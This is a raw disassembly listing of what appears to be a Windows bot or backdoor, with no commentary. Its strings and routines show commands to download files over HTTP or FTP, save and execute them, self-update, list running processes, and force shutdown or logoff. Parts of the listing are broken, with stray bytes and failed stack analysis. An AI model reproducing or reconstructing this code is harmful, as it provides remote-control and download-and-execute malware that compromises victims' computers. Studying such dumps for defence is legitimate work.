push 49h
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_4016B3
add esp, 10h
test eax, eax
jnz short loc_41DBF2
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DBF2: ; CODE XREF: sub_41D930+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D66
add esp, 4
jmp loc_41DE7B
; ---------------------------------------------------------------------------
loc_41DC04: ; CODE XREF: sub_41D930+195j
lea ecx, [esp+28h+arg_20]
call sub_40142E
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_40142E
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017EE
push eax
call sub_401AA0
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DC87
lea ecx, [esi+7Ah]
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
db 90h
db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
imul esi, [ecx-17h], 0BEh
loc_41DC87: ; CODE XREF: sub_41D930+310j
push ebp
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [esi+26h]
call sub_4017EE
push eax
lea edx, [esp+34h+arg_20]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+28h+arg_20]
push 0
call sub_4013E3
push eax
lea ecx, [esp+30h+arg_20]
call sub_4017EE
push eax
push ebx
nop
call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017EE
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DD80
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+38h+var_1C]
mov byte ptr [esp+38h+arg_1134], 3
call sub_401226
lea ecx, [esp+38h+arg_10]
mov byte ptr [esp+38h+arg_1134], 2
call sub_401226
lea ecx, [esp+38h+var_4]
mov [esp+38h+arg_1134], 0FFFFFFFFh
call sub_401226
jmp loc_41E048
; ---------------------------------------------------------------------------
loc_41DD80: ; CODE XREF: sub_41D930+3DBj
; sub_41D930+484j ...
mov eax, [esp+38h+var_24]
push 0
lea edx, [esp+3Ch+arg_12C]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DDF8
cmp ebp, 1000h
jge short loc_41DDB0
mov [esp+ebp+48h+arg_11C], 0
loc_41DDB0: ; CODE XREF: sub_41D930+476j
xor edi, edi
test ebp, ebp
jle short loc_41DD80
loc_41DDB6: ; CODE XREF: sub_41D930+4A5j
push 4
lea ecx, [esp+edi+4Ch+arg_11C]
push offset asc_444ED8 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DDD9
inc edi
cmp edi, ebp
jl short loc_41DDB6
jmp short loc_41DD80
; ---------------------------------------------------------------------------
loc_41DDD9: ; CODE XREF: sub_41D930+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DDF8
loc_41DDE0: ; CODE XREF: sub_41D930+4C6j
movsx edx, [esp+edi+48h+arg_11C]
push ebx
push edx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DDE0
loc_41DDF8: ; CODE XREF: sub_41D930+46Ej
; sub_41D930+4AEj ...
mov edi, [esp+48h+var_34]
push 0
lea eax, [esp+4Ch+arg_11C]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DE48
cmp ebp, 1000h
jge short loc_41DE28
mov [esp+ebp+58h+arg_10C], 0
loc_41DE28: ; CODE XREF: sub_41D930+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DDF8
loc_41DE2E: ; CODE XREF: sub_41D930+514j
movsx ecx, [esp+edi+58h+arg_10C]
push ebx
push ecx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DE2E
jmp short loc_41DDF8
; ---------------------------------------------------------------------------
loc_41DE48: ; CODE XREF: sub_41D930+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+5Ch+var_40]
mov [esp+5Ch+arg_1110], 3
call sub_401226
lea ecx, [esp+5Ch+var_10]
mov [esp+5Ch+arg_1110], 2
call sub_401226
loc_41DE7B: ; CODE XREF: sub_41D930+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DF17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D8085
call sub_401857
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41E00C
push offset byte_448F40
mov ecx, ebp
call sub_4017EE
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017EE
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
jmp loc_41E00C
; ---------------------------------------------------------------------------
loc_41DF17: ; CODE XREF: sub_41D930+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
lea edx, [esp+90h+var_40]
push 51h
push edx
call sub_4019C4
add esp, 3Ch
mov ecx, eax
mov [esp+5Ch+arg_1110], 5
call sub_4014DD
push eax
mov ecx, ebx
call sub_4014DD
push eax
call sub_402167
add esp, 8
lea ecx, [esp+5Ch+var_40]
mov bl, al
mov [esp+5Ch+arg_1110], 2
call sub_401226
test bl, bl
jz short loc_41DFE7
mov al, byte_4498A6
test al, al
jz short loc_41DFB6
push offset dword_449844
mov ecx, offset dword_44AD80
call sub_401451
loc_41DFB6: ; CODE XREF: sub_41D930+675j
mov al, byte_4498EF
test al, al
jz short loc_41DFCE
push offset byte_44991F
mov ecx, offset dword_44AD80
call sub_401951
loc_41DFCE: ; CODE XREF: sub_41D930+68Dj
mov ecx, offset dword_44AD80
call sub_401E79
push 1
mov byte_4E8E54, 0
call near ptr 77C39E7Eh
nop
loc_41DFE7: ; CODE XREF: sub_41D930+66Cj
mov ecx, edi
call sub_4014DD
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
loc_41E00C: ; CODE XREF: sub_41D930+597j
; sub_41D930+5E2j
mov [esp+60h+var_48], esi
lea edx, [esp+60h+var_48]
loc_41E014: ; CODE XREF: sub_41D930+1E7j
push edx
loc_41E015: ; CODE XREF: sub_41D930+23Ej
; sub_41D930+2BDj
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_2C]
mov [esp+60h+arg_110C], 0FFFFFFFFh
call sub_401226
jmp short loc_41E048
; ---------------------------------------------------------------------------
loc_41E035: ; CODE XREF: sub_41D930+36j
; sub_41D930+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41E03D: ; CODE XREF: sub_41D930+9Cj
push eax
mov ecx, offset byte_4E8EAB
call sub_40120D
sub_41D930 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D930
loc_41E048: ; CODE XREF: sub_41D930+44Bj
; sub_41D930+703j
mov ecx, [esp+38h+arg_112C]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D930
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E240 proc near ; CODE XREF: sub_401BA4j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E240
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41E240 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E3C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E41B
push offset dword_444FDC
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 6
call near ptr 2890794h
nop
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E41B: ; CODE XREF: ___:0041E3DEj
lea ecx, [esi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E46A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_40168B
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 5
nop
call near ptr 2890794h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E46A: ; CODE XREF: ___:0041E42Dj
lea ecx, [esi+60h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E4B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 4
nop
call near ptr 2890794h
loc_41E4B1: ; CODE XREF: ___:0041E47Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E500 proc near ; CODE XREF: sub_401F7Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E500
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41E500 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019C4
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017EE
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E760 proc near ; CODE XREF: sub_40161Dj
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E760
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018E8
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E8E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019C4
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014DD
push eax
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_40170D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jz short loc_41E8E2
mov ebp, dword_5118D8
loc_41E86E: ; CODE XREF: sub_41E760+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017EE
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jnz short loc_41E86E
loc_41E8E2: ; CODE XREF: sub_41E760+62j
; sub_41E760+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401825
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E8FA: ; CODE XREF: sub_41E760+37j
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E9EE
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014DD
push eax
push offset dword_44500C
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E9EE: ; CODE XREF: sub_41E760+1ACj
lea ecx, [edi+8Eh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016EA
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402162
add esp, 4
test al, al
jz loc_41EB3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019C4
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B54
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_401465
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EB3D
mov ebx, dword_5118D8
loc_41EAD6: ; CODE XREF: sub_41E760+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017EE
push eax
push edi
push offset dword_445000
mov ecx, ebp
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_401839
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41EAD6
loc_41EB3D: ; CODE XREF: sub_41E760+2CFj
; sub_41E760+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EB55: ; CODE XREF: sub_41E760+2A3j
lea ecx, [edi+0BCh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC4C
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017EE
push eax
call sub_401A0A
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014DD
push eax
push offset dword_444FF8
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EC4C: ; CODE XREF: sub_41E760+40Aj
lea ecx, [edi+60h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41ED15
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41ED15
push ebx
push offset dword_444FEC
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
push ebx
call sub_4018B6
add esp, 1Ch
jmp short loc_41ED17
; ---------------------------------------------------------------------------
loc_41ED15: ; CODE XREF: sub_41E760+1F0j
; sub_41E760+44Ej ...
xor al, al
loc_41ED17: ; CODE XREF: sub_41E760+195j
; sub_41E760+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E760 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EEB0: ; CODE XREF: ___:loc_402004j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push (offset asc_43C4EA+26h)
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_5118D8
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EEE0: ; CODE XREF: ___:0041EEF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EEF3
push 3E8h
call edi
jmp short loc_41EEE0
; ---------------------------------------------------------------------------
loc_41EEF3: ; CODE XREF: ___:0041EEE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_449287
call sub_401A41
lea edx, [ebp-14h]
mov ecx, offset byte_4E8EAB
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EF19: ; DATA XREF: ___:loc_41EF2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EF2C: ; DATA XREF: ___:00442554o
mov eax, offset loc_41EF19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF70 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FDC
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FDC
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FDC
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EF70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F030 proc near ; CODE XREF: sub_4020C7j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
